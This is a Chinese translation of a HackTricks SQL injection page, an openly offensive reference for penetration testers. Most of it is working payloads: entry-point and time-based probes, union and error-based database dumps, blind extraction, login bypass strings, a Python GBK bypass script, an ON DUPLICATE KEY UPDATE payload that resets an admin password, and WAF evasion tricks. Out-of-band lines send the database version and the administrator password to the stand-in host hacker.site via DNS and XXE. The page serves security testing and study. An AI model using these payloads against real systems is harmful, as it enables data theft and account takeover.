SQL Injection

学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

​​​​RootedCON西班牙 最相关的网络安全事件,也是 欧洲 最重要的事件之一。该大会的 使命是促进技术知识,是各个学科技术和网络安全专业人士的一个热烈交流点。

什么是 SQL 注入?

SQL 注入 是一种安全漏洞,允许攻击者 干扰应用程序的数据库查询。此漏洞使攻击者能够 查看修改删除 他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改,甚至可能导致服务器的泄露或拒绝服务。

入口点检测

当一个网站由于对与 SQLi 相关的输入的异常服务器响应而 看似易受 SQL 注入 (SQLi) 攻击时,第一步 是了解如何 在不干扰查询的情况下注入数据。这需要有效识别 逃离当前上下文 的方法。 以下是一些有用的示例:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

然后,您需要知道如何修复查询以避免错误。为了修复查询,您可以输入数据,以便先前的查询接受新数据,或者您可以直接输入您的数据并在末尾添加注释符号

请注意,如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异,这个阶段将会更容易。

评论

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

使用逻辑运算进行确认

确认 SQL 注入漏洞的可靠方法涉及执行 逻辑运算 并观察预期结果。例如,GET 参数如 ?username=Peter 在修改为 ?username=Peter' or '1'='1 时产生相同内容,表明存在 SQL 注入漏洞。

同样,应用 数学运算 作为有效的确认技术。例如,如果访问 ?id=1?id=2-1 产生相同结果,这表明存在 SQL 注入。

演示逻辑运算确认的示例:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

这个词汇表是为了尝试确认SQL注入而创建的,方法如下:

811B
sqli-logic.txt

通过时间确认

在某些情况下,你不会注意到任何变化在你正在测试的页面上。因此,发现盲注入的一个好方法是让数据库执行操作,这将对页面加载所需的时间产生影响。 因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

在某些情况下,sleep 函数将不被允许。然后,您可以使查询执行复杂操作,这将需要几秒钟。这些技术的示例将在每种技术上单独评论(如果有的话)

识别后端

识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节的_sleep_ 函数或这些函数(来自 payloadsallthethings 的表):

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

此外,如果您可以访问查询的输出,您可以使其打印数据库的版本

接下来我们将讨论不同的方法来利用不同类型的SQL注入。我们将以MySQL为例。

使用PortSwigger进行识别

利用基于联合的注入

检测列数

如果您可以看到查询的输出,这是利用它的最佳方法。 首先,我们需要找出初始请求返回的列数。这是因为两个查询必须返回相同数量的列。 通常使用两种方法来实现这一目的:

Order/Group by

要确定查询中的列数,逐步调整ORDER BYGROUP BY子句中使用的数字,直到收到错误响应。尽管GROUP BYORDER BY在SQL中具有不同的功能,但两者可以相同地用于确定查询的列数。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

选择越来越多的空值,直到查询正确:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

您应该使用 null 值,因为在某些情况下,查询两侧的列类型必须相同,而 null 在每种情况下都是有效的。

提取数据库名称、表名称和列名称

在接下来的示例中,我们将检索所有数据库的名称、数据库的表名称、表的列名称:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

在每个不同的数据库中发现这些数据的方法各不相同,但方法论始终相同。

利用隐藏的基于联合的注入

当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在隐藏的基于联合的注入。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。

这可以通过使用盲注入技术以及特定于目标数据库管理系统(DBMS)的默认表来实现。为了理解这些默认表,建议查阅目标DBMS的文档。

一旦提取了查询,就需要调整你的有效载荷以安全地关闭原始查询。随后,将一个联合查询附加到你的有效载荷中,从而利用新可访问的基于联合的注入。

有关更全面的见解,请参阅完整文章 Healing Blind Injections

利用基于错误的注入

如果由于某种原因你无法看到查询输出,但你可以看到错误消息,你可以利用这些错误消息来提取数据库中的数据。 遵循与基于联合的利用相似的流程,你可以成功地转储数据库。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

利用盲注入

在这种情况下,您无法看到查询的结果或错误,但您可以区分查询何时返回****真响应,因为页面上有不同的内容。 在这种情况下,您可以利用这种行为逐字符地转储数据库:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

利用错误盲SQLi

这是与之前相同的情况,但不是区分查询的真/假响应,而是可以区分SQL查询中的错误与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生一个SQL错误:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

利用基于时间的 SQLi

在这种情况下,没有任何方法可以根据页面的上下文来区分查询的响应。但是,如果猜测的字符是正确的,您可以使页面加载时间更长。我们已经在之前看到过这种技术用于确认 SQLi 漏洞

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

您可以使用堆叠查询来连续执行多个查询。请注意,尽管后续查询会被执行,但结果不会返回给应用程序。因此,这种技术主要用于与盲漏洞相关的情况,在这种情况下,您可以使用第二个查询触发DNS查找、条件错误或时间延迟。

Oracle不支持堆叠查询MySQL、MicrosoftPostgreSQL支持它们:QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

如果没有其他利用方法有效,您可以尝试使数据库将信息外泄到您控制的外部主机。例如,通过DNS查询:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

通过 XXE 进行带外数据泄露

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自动化利用

查看 SQLMap Cheetsheat 以利用 SQLi 漏洞与 sqlmap

技术特定信息

我们已经讨论了利用 SQL 注入漏洞的所有方法。在本书中找到一些更多依赖于数据库技术的技巧:

或者你会在 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 找到 关于:MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧

​​​​​RootedCON西班牙 最相关的网络安全事件,也是 欧洲 最重要的事件之一。该大会 旨在促进技术知识,是各个学科的技术和网络安全专业人士的热烈交流点。

认证绕过

尝试绕过登录功能的列表:

Login bypass List

原始哈希认证绕过

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点,这些输入在哈希时会生成意外的SQL命令部分,从而导致未经授权的访问。

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

注入哈希认证绕过

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推荐列表

您应该将列表中的每一行用作用户名,密码始终为: Pass1234. (这些有效载荷也包含在本节开头提到的大列表中)

1KB
sqli-hashbypass.txt

GBK 认证绕过

如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,它将被创建为:0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python 脚本:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

多语言注入(多上下文)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

修改现有对象/用户的密码

为此,您应该尝试创建一个名为“主对象”的新对象(在用户的情况下可能是admin)并修改某些内容:

  • 创建名为:AdMIn(大小写字母)

  • 创建名为:**admin=**的用户

  • SQL截断攻击(当用户名或电子邮件有某种长度限制时)--> 创建名为:admin [大量空格] a

SQL截断攻击

如果数据库存在漏洞,并且用户名的最大字符数例如为30,而您想要冒充用户admin,请尝试创建一个名为:“admin [30个空格] a”的用户名和任何密码。

数据库将检查输入的用户名是否存在于数据库中。如果不存在,它将截断****用户名允许的最大字符数(在这种情况下为:“admin [25个空格]”),然后它将自动删除末尾的所有空格,在数据库中更新用户“admin”的新密码(可能会出现一些错误,但这并不意味着这没有成功)。

更多信息:https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

注意:在最新的MySQL安装中,此攻击将不再按上述方式工作。虽然比较仍然默认忽略尾随空格,但尝试插入一个超过字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息,请参见:https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL基于时间的插入检查

根据您的考虑,添加尽可能多的','',''以退出VALUES语句。如果执行了延迟,则您有SQL注入。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE 子句在 MySQL 中用于指定当尝试插入一行会导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时,数据库应采取的操作。以下示例演示了如何利用此功能修改管理员账户的密码:

示例有效载荷注入:

有效载荷可能被构造如下,其中尝试将两行插入到 users 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • 查询尝试插入两行:一行为 generic_user@example.com,另一行为 admin_generic@example.com

  • 如果 admin_generic@example.com 的行已经存在,ON DUPLICATE KEY UPDATE 子句会触发,指示 MySQL 更新现有行的 password 字段为 "bcrypt_hash_of_newpassword"。

  • 因此,可以使用 admin_generic@example.com 尝试身份验证,密码对应于 bcrypt 哈希("bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。

提取信息

同时创建 2 个账户

在尝试创建新用户时,需要用户名、密码和电子邮件:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

使用十进制或十六进制

使用此技术,您可以仅创建 1 个帐户来提取信息。重要的是要注意,您不需要注释任何内容。

使用 hex2decsubstr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

要获取文本,您可以使用:

__import__('binascii').unhexlify(hex(215573607263)[2:])

使用 hexreplace(以及 substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON西班牙 最相关的网络安全事件,也是 欧洲 最重要的事件之一。 该大会的 使命是促进技术知识,是各个学科的技术和网络安全专业人士的一个热烈的交流平台。

Routed SQL injection

Routed SQL injection 是一种情况,其中可注入查询不是产生输出的查询,而是可注入查询的输出传递给产生输出的查询。 (来自论文)

示例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF 绕过

初始绕过来自这里

无空格绕过

无空格 (%20) - 使用空白替代品进行绕过

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

无空格 - 使用注释绕过

?id=1/*comment*/and/**/1=1/**/--

无空格 - 使用括号绕过

?id=(1)and(1)=(1)--

无逗号绕过

无逗号 - 使用 OFFSET、FROM 和 JOIN 绕过

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

通用绕过

使用关键字的黑名单 - 使用大写/小写绕过

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

使用关键字的黑名单不区分大小写 - 使用等效运算符绕过

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科学计数法 WAF 绕过

您可以在 gosecure blog 中找到对此技巧的更深入解释。 基本上,您可以以意想不到的方式使用科学计数法来绕过 WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

绕过列名限制

首先,请注意,如果原始查询和您想要提取标志的表具有相同数量的列,您可以直接执行:0 UNION SELECT * FROM flag

可以使用以下查询在不使用列名的情况下访问表的第三列SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;,因此在sqlinjection中,这看起来像:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

或使用 comma bypass

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

这个技巧来自于 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

WAF 绕过建议工具

其他指南

暴力破解检测列表

​​​​​​​RootedCON西班牙 最相关的网络安全事件,也是 欧洲 最重要的事件之一。这个大会的 使命是促进技术知识,是各个学科技术和网络安全专业人士的一个热烈交流点。

学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated